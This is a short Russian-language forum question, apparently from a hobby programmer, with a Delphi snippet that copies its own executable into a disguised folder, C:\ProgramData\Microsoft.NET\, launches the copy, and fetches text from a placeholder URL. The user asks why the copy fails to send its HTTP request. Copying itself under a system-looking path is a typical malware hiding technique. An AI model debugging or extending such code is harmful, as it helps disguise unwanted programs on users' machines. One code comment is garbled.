[Mitiay]

Все отлично!Но почемуто копия получается битая!Моя программа посылает обычный гет запрос!Но при запуске копии она этого не делает в чем проблема?

Код:

1 2 3 4 5 6 7 8 9 10 11 12

begin if not FileExists('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))) then begin copyfile(PAnsiChar(Paramstr(0)), PAnsiChar('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))), False); ShellExecute(Handle, nil, PAnsiChar('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))), nil, nil, SW_SHOW);  sl:= TStringList.Create;       sl.Text:= idhttp1.Get('http://111111111.txt');       for i:= 0 to sl.Count-1 {??? ??????? ????, ????. 5} do    (FindComponent('Edit' + IntToStr(i+1)) as TEdit).Text:= sl[i];  sl.Free;